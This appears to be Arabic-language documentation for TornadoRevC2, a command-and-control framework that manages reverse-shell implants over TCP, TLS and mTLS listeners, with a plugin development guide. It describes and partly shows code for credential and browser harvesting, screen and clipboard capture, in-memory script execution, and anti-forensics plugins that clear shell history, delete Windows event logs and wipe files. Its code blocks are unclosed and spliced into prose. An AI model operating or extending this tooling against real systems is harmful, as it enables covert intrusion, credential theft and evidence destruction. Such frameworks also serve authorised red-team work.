### إعداد المستمع

يشغّل TornadoRevC2 **ثلاثة مستمعين مستقلين في آنٍ واحد**، بحيث يمكن للـ implants الاتصال عبر النص العادي، أو TLS المُصادَق عليه من الخادم، أو TLS المُصادَق عليه بشكل متبادل اعتمادًا على نموذج التهديد الخاص بالعملية:

| المستمع | المنفذ الافتراضي | العلامة | المصادقة | الشهادات |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | لا شيء           | لا شيء |
| TLS      | `8443`       | `-tp` | مُصادَق عليه من الخادم | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | متبادل (شهادة العميل مطلوبة) | حزمة `mtls_certs/` (CA + الخادم + العميل) |

تحدد العلامة `-H` عنوان الربط المشترك بين المستمعين الثلاثة. يمكن تمكين الثلاثة جميعًا في وقت واحد؛ تعطيل أحدها غير مطلوب حاليًا — اترك المنفذ حرًا أو غير مربوط لتجاهله.

**توليد الشهادات التلقائي.** عند التشغيل الأول، ينشئ المعالج دليلين معزولين ويهيّئ المواد التي يحتاجها:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

**الإضافات المشتركة** (`firewall`، `ports`، `browser`، `credstore`، وغيرها) موجودة كوحدات موحّدة فردية في `shared/`. **الإضافات الخاصة بالنظام الأساسي** مثل `rdp` و `eventlogdel` توجد حصريًا تحت `windows/` أو `linux/` ولا يتم تكرارها في `shared/`.

تُصدر أدوات الجمع مخرجات JSON ملفوفة بعلامات مميزة (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). يقوم المشغّل المشترك بتحليل هذه المخرجات، وتنسيق تقرير موجّه للمشغّل، وحفظ النتائج في دليل سجل الجلسة.

---

## المتطلبات والتثبيت

**المعالج (جهاز المشغّل):**

- Python 3.7 أو أحدث
- OpenSSL (للتوليد التلقائي لشهادات TLS و mTLS)
- Git (اختياري؛ مطلوب لأمر المشغّل `update`)
- لا حاجة لحزم Python من طرف ثالث```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

### 2. إنشاء جلسة

انشر reverse shell من الكتالوج المدمج (`payloads`) أو استخدم implant الخاص بك. عند الاتصال، يقوم TornadoRevC2 بتعيين معرّف جلسة ويبدأ التسجيل تحت `logs/`.

### 3. التشغيل```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

**قيم المنصة:** `linux`، `windows`، `unix`. يتم التعامل مع Linux و `unix` كمتوافقين — الإضافة المسجلة لـ `linux` تعمل على كليهما. القيمة الافتراضية إذا تم حذفها: `["linux", "windows", "unix"]`.

**أوامر متعددة لكل وحدة:** يمكن لملف واحد تسجيل عدة أوامر من خلال تطبيق `@plugin.command` على دوال متعددة. يحصل كل منها على اسم مستقل.

### دورة حياة التنفيذ

عندما يشغّل المشغّل `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0

**متى تستخدم:** استكشافات بسيطة، تعداد بأمر واحد، أوامر لا تحتاج إلى تقارير منظمة.

**الطرق الأساسية:** `session.run_shell(cmd, timeout)`، `session.print(text, color)`، `session.log_plugin_result(name, report, detail='')`.

### النمط 2: جامع منظم (موصى به)

استخدمه لإضافات التعداد التي تجمع بيانات منظمة على الهدف وتعيد تقريرًا منسقًا. هذا هو النمط المستخدم في جميع إضافات الاستطلاع المدمجة (`firewall`، `ports`، `browser`، إلخ).

**التدفق:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

**معاملات `run_collector_plugin`:**

| المعامل | النوع | الوصف |
|-----------|------|-------------|
| `session` | `SessionContext` | الجلسة الهدف |
| `plugin_name` | `str` | الاسم المستخدم في السجلات ورسائل الخطأ |
| `unix_builder` | `Callable[[], str]` أو `None` | يُرجع أمر shell الخاص بـ Unix/Linux؛ `None` إذا كان غير متاح |
| `win_builder` | `Callable[[], str]` أو `None` | يُرجع سكربت PowerShell؛ `None` إذا كان غير متاح |
| `formatter` | `Callable[[dict], str]` | يحوّل قاموس JSON المُحلَّل إلى سلسلة تقرير |
| `timeout` | `float` | الحد الأقصى للثواني لانتظار المخرجات المعلَّمة (الافتراضي 30) |

مرّر `None` لأي builder خاص بمنصة لتحديد أن الإضافة غير متاحة على نظام التشغيل ذلك (انظر [الإضافات الخاصة بمنصة معينة](#platform-specific-plugins)).

بعد حفظ إضافة خارجية:```bash
plugins load processes
plugins info processes
run processes 1

pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0

**مثال على المعالجة بعد المجمّع** (من `historydel`):```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

**الإرشادات:**

- استخدم `subprocess.check_output(..., timeout=N)` لكل أمر خارجي.
- قلّم القوائم الكبيرة قبل الإخراج (بحد أقصى 50–80 عنصرًا).
- تعامل مع الأدوات المفقودة بلطف—اترك الأقسام فارغة بدلًا من رفع استثناء.
- تجنّب تضمين سلاسل العلامات في الإخراج؛ يقوم الملحق `history` بتنظيف `__T_PLUGIN_*__` من النص المُجمَّع لهذا السبب.
- أبقِ أدوات التجميع مدمجة لتبقى ضمن حد الحجم المضمّن وتجنّب التخزين المؤقت في `/tmp`.

### أدوات التجميع الخاصة بـ Windows

أدوات التجميع الخاصة بـ Windows هي سلاسل نصوص PowerShell برمجية تُعاد من `_build_windows_command()`.

**البنية:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

### اصطلاحات حِزمة JSON

يجب أن تُرجع أدوات التجميع قاموسًا قابلًا للتسلسل بصيغة JSON. يتوقع المشغّل والمُنسّقات استخدامًا متسقًا للمفاتيح:

| المفتاح | النوع | الغرض |
|-----|------|---------|
| `summary` | `dict` | إحصاءات وعدّادات عالية المستوى؛ تُعرض أولًا بواسطة `format_generic_report()` |
| `error` | `str` | **فشل صارم** — يطبع المشغّل الخطأ ويُرجع رمز الخروج 1 |
| `traceback` | `str` | اختياري؛ يُسجَّل كتفصيل عند تعيين `error` |
| `reason` | `str` | **فشل مرن** — يُستخدم مع المُنسّقات المخصصة (مثل عدم توفر الحافظة) |
| `ok` | `bool` | علامة نجاح للإضافات التشغيلية (لقطة الشاشة، الحافظة) |
| قوائم من `dict` | `list` | تُعرض كجداول بواسطة `format_generic_report()` |
| قوائم من `str` | `list` | تُعرض كقوائم نقطية |
| `dict` متداخل | `dict` | يُعرض كأقسام مُعنونة |

**التدهور المرن:** بالنسبة لتعداد متعدد الأقسام، استخدم مفاتيح dict منفصلة لكل قسم والتقط الاستثناءات محليًا. لا تعيّن `error` على المستوى الأعلى إلا إذا فشلت أداة التجميع بالكامل — فالنتائج الجزئية مفضلة.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

مساعدات قابلة لإعادة الاستخدام في `plugins/shared/common.py`:

| الدالة | الغرض |
|----------|---------|
| `format_generic_report(data, title='Results')` | العارض الافتراضي للجداول/الأقسام |
| `format_section(title, fields, width=22)` | قسم مفتاح-قيمة |
| `format_list_section(title, items, empty='(none)')` | قائمة نقطية |
| `format_table_section(title, rows, columns)` | صفوف القاموس كأعمدة |
| `format_firewall_report`, `format_memorymap_report`, etc. | منسّقات خاصة بالإضافات |

### الإضافات الخاصة بالمنصات

**خاصة بـ Windows فقط:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

**متعدد المنصات مع بناة منفصلة:**

بعض الإضافات المشتركة تفوض إلى وحدات بانية خاصة بكل منصة (على سبيل المثال `virtualization` تستورد من `linux/virtualization.py` و `windows/virtualization.py`). تبقى نقطة الدخول `@plugin.command` في `shared/`؛ وحدات الباني تحت `linux/` أو `windows/` لا تحتوي على أي مزخرف ولا تُسجَّل كإضافات مستقلة.

### الإضافات الخارجية

تتيح لك الإضافات الخارجية توسيع TornadoRevC2 دون تعديل المستودع.

**الإعداد:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

**دورة الحياة الخارجية مقابل المدمجة:**

| الإجراء | إضافة مدمجة | إضافة خارجية |
|--------|-----------------|-----------------|
| `plugins unload` | معطّلة بشكل مؤقت (تبقى الوحدة مستوردة) | تُفرَّغ بالكامل وتُلغى تسجيلها |
| `plugins reload` | تعيد استيراد الوحدة، وتمسح تسجيلات الأوامر القديمة | تزيلها من `sys.modules`، وتعيد استيرادها من القرص |
| بدء التشغيل | تُحمَّل تلقائيًا | تُحمَّل عند الطلب |

تُستورد الوحدات الخارجية باسم `tornado_ext_plugin_<name>` لتجنب تعارضات مساحة الأسماء.

### واجهة SessionContext API

يتلقى كل معالج كائن `SessionContext` يغلّف المعالج ومقبس العميل:

**خصائص البيانات الوصفية:**

| الخاصية | النوع | الوصف |
|----------|------|-------------|
| `session_id` | `str` | معرّف الجلسة المعيَّن |
| `platform` | `str` | `unix` أو `windows` أو `unknown` |
| `is_windows` / `is_unix` | `bool` | رايات تسهيلية للمنصة |
| `sysinfo` | `dict` | معلومات المضيف المخزّنة مؤقتًا من مجموعة `sysinfo` |
| `identity` | `dict` | بيانات وصفية لهوية/بصمة الجلسة |
| `addr` | `tuple` | العنوان البعيد |
| `tls` | `bool` | ما إذا كانت الجلسة تستخدم TLS |
| `name` | `str` | الاسم الودّي المعيَّن من المشغّل |
| `fingerprint` | `str` | بصمة المضيف الثابتة |
| `logger` | `SessionLogger` | كاتب سجل لكل جلسة (قد يكون `None`) |
| `colors` | `dict` | رموز ألوان الطرفية |
| `socket` | socket | مقبس العميل الخام (للاستخدام المتقدم) |

**طرق التنفيذ:**

| الطريقة | الوصف |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | إرسال أمر، انتظار المخرجات، إرجاع سلسلة نصية |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | بثّ المخرجات مع كشف الخمول؛ مفيد للأوامر طويلة التشغيل |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | تنفيذ أمر مناسب للمنصة واستخراج الحمولة المعلَّمة |
| `get_cwd()` | إرجاع دليل العمل البعيد |
| `collect_sysinfo(mode='stealth')` | تشغيل جمع معلومات المضيف |

**طرق النقل:**

| الطريقة | الوصف |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | رفع ملف إلى الهدف |
| `download(remote_path, local_path, resume=False)` | تنزيل ملف من الهدف |
| `verify_remote(remote_path)` | التحقق من حجم الملف البعيد و SHA-256 |

**التسجيل والمخرجات:**

| الطريقة | الوصف |
|--------|-------------|
| `print(text, color=None)` | الطباعة إلى طرفية المشغّل مع لون اختياري (`red`، `green`، `yellow`، `cyan`) |
| `log_event(message)` | إضافة حدث بطابع زمني إلى `session.log` |
| `log_command(cmd, output)` | تسجيل الأمر والمخرجات في `session.log` |
| `log_plugin_result(name, report, detail='')` | كتابة التقرير إلى `logs/<session>/plugins/<name>_<timestamp>.log` |

### معالجة الأخطاء ورموز الإرجاع

| الإرجاع | المعنى | سلوك المعالج |
|--------|---------|------------------|
| `0` | نجاح | لا يُعرض أي تحذير |
| `1` (أو أي قيمة غير صفرية) | فشل | تحذير أصفر: `Plugin 'name' returned code N` |
| استثناء غير ملتقط | خطأ | رسالة خطأ حمراء؛ تُسجَّل في سجل الجلسة |

**أنماط فشل المجمِّع** (تتعامل معها `run_collector_plugin`):

| الحالة | السلوك |
|-----------|----------|
| انتهاء المهلة / لا علامات في المخرجات | الخروج بالرمز 1، تسجيل "no response" |
| المخرجات ليست JSON صالحة | الخروج بالرمز 1، تسجيل المخرجات الخام (مقتطعة) كتفصيل |
| وجود `data["error"]` | الخروج بالرمز 1، طباعة الخطأ وتتبّع الاستدعاء |
| فشل جزئي في الأقسام | يجب **ألا** يضبط `error` على المستوى الأعلى؛ اترك القسم فارغًا |

**الإخفاقات اللينة** (الإضافات التشغيلية): استخدم `reason` أو `ok: false` وتعامل معها في مُنسِّق مخصص أو معالج مخصص بدلًا من الاعتماد على فحص `error` الصارم في المشغّل.

### أفضل الممارسات

1. **فضّل أوامر نظام التشغيل الأصلية** على الأدوات المرفوعة—يتماشى ذلك مع تصميم الإطار الخفيف الاعتماديات.
2. **لا تكتب ملفات على الهدف** لأغراض الاستكشاف؛ أعد البيانات عبر قناة الصدفة. الإضافات التشغيلية (wiper، historydel) استثناءات لها غرض واضح.
3. **تدهور بلطف** — افحص كل خلفية بشكل مستقل؛ الأقسام الفارغة أفضل من الفشل الكامل.
4. **حدّد حجم المخرجات** — اقتطع القوائم إلى 50–80 عنصرًا؛ اقتطع السلاسل الطويلة إلى 200–500 حرف.
5. **اضبط مهلًا زمنية واقعية** — الفحوصات السريعة: 15–30 ثانية؛ الاستكشاف الشامل: 45–75 ثانية.
6. **سجّل باستمرار** — استدعِ `session.log_event()` عند البدء، و`session.log_plugin_result()` عند الإكمال، و`session.log_command()` لتصدير النص الكامل.
7. **تحقق من الوسائط مبكرًا** — أعد 1 مع رسالة الاستخدام قبل إرسال أي شيء إلى الهدف.
8. **اختبر من كلا الطرفيتين** — المعالج الرئيسي (`run plugin <ID>`) والجلسة المرتبطة (`switch` ثم `run plugin`).
9. **استخدم `plugins reload`** أثناء التطوير لالتقاط التغييرات دون إعادة تشغيل المعالج.
10. **نظّف العلامات الحساسة** من المخرجات المجمّعة إذا كانت إضافتك تقرأ محتوى ملفات عشوائيًا.

### تطبيقات مرجعية

| الإضافة | الملف | النمط | ملاحظات |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | مجمِّع متعدد المنصات | تدهور لطيف متعدد الخلفيات |
| `ports` | `plugins/shared/ports.py` | مجمِّع متعدد المنصات | `ss` / `Get-NetTCPConnection` الأصلي |
| `history` | `plugins/shared/history.py` | مجمِّع متعدد المنصات | بواني Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | معالج مخصص | وسيط PID، باني ديناميكي |
| `screenshot` | `plugins/shared/screenshot.py` | معالج مخصص | Base64 في JSON؛ حفظ PNG من جهة المشغّل |
| `clipboard` | `plugins/shared/clipboard.py` | معالج مخصص | إخفاق لين عبر حقل `reason` |
| `historydel` | `plugins/shared/historydel.py` | معالج مخصص | تدميري؛ تنظيف الصدفة بعد المجمِّع |
| `wiper` | `plugins/shared/wiper.py` | معالج مخصص | تدميري؛ التحقق من وسيط المسار |
| `services` | `plugins/windows/services.py` | مجمِّع خاص بـ Windows | نقطة دخول بسيطة |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | مجمِّع خاص بـ Windows | تدميري؛ تقرير فشل لكل سجل |
| `rdp` | `plugins/windows/rdp.py` | مجمِّع خاص بـ Windows | استكشاف السجل وجدار الحماية |
| `virtualization` | `plugins/shared/virtualization.py` | نقطة دخول مشتركة + بواني منفصلة | تستورد بواني `linux/` و `windows/` |
| `secrets` | `plugins/linux/secrets.py` | مجمِّع خاص بـ Linux | قائمة مقيّدة بالمنصة |

لإضافات الاستكشاف الجديدة، ابدأ من `run_collector_plugin` في `plugins/shared/runner.py` وانسخ التخطيط من `firewall.py` أو `ports.py`. للإضافات التي لها وسائط أو آثار جانبية، راجع `memorymap.py` أو `wiper.py`.

---

## تسجيل الجلسات

تكتب كل جلسة إلى دليل معزول تحت `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

---

## تكوين TLS و mTLS

يشغّل TornadoRevC2 ثلاثة مستمعين معزولين، لكل منهم مصدر الشهادة الخاص به. يتم إنشاء كل ما تحت `tls_certs/` و `mtls_certs/` تلقائيًا عند التشغيل الأول ولا يُستبدل أبدًا.

| المستمع | المنفذ | مصادقة العميل | الشهادات |
|----------|------|-------------|--------------|
| TCP | `4444` | لا شيء | — |
| TLS | `8443` | الخادم فقط | `tls_certs/server.pem`، `tls_certs/server.key` |
| mTLS | `9443` | متبادلة (شهادة العميل مطلوبة) | حزمة `mtls_certs/` |

### TLS

يُنشأ تلقائيًا كزوج موقّع ذاتيًا (`CN=localhost`، RSA-2048، 3650 يومًا).

لتزويد شهادتك الخاصة:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

### ترقية جلسة نشطة إلى mTLS

يمكن نقل الجلسات القائمة على TCP العادي أو TLS بمصادقة الخادم إلى مستمع mTLS دون إعادة تشغيل المعالج. تقوم إضافة `upgrade_mtls` برفع `client.pem` و`client.key` و`ca.pem` إلى الهدف، وتشغّل صدفة خلفية تقدّم شهادة العميل، و(بشكل افتراضي) تحذف الحزمة من القرص بمجرد أن تصبح الجلسة الجديدة قائمة.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls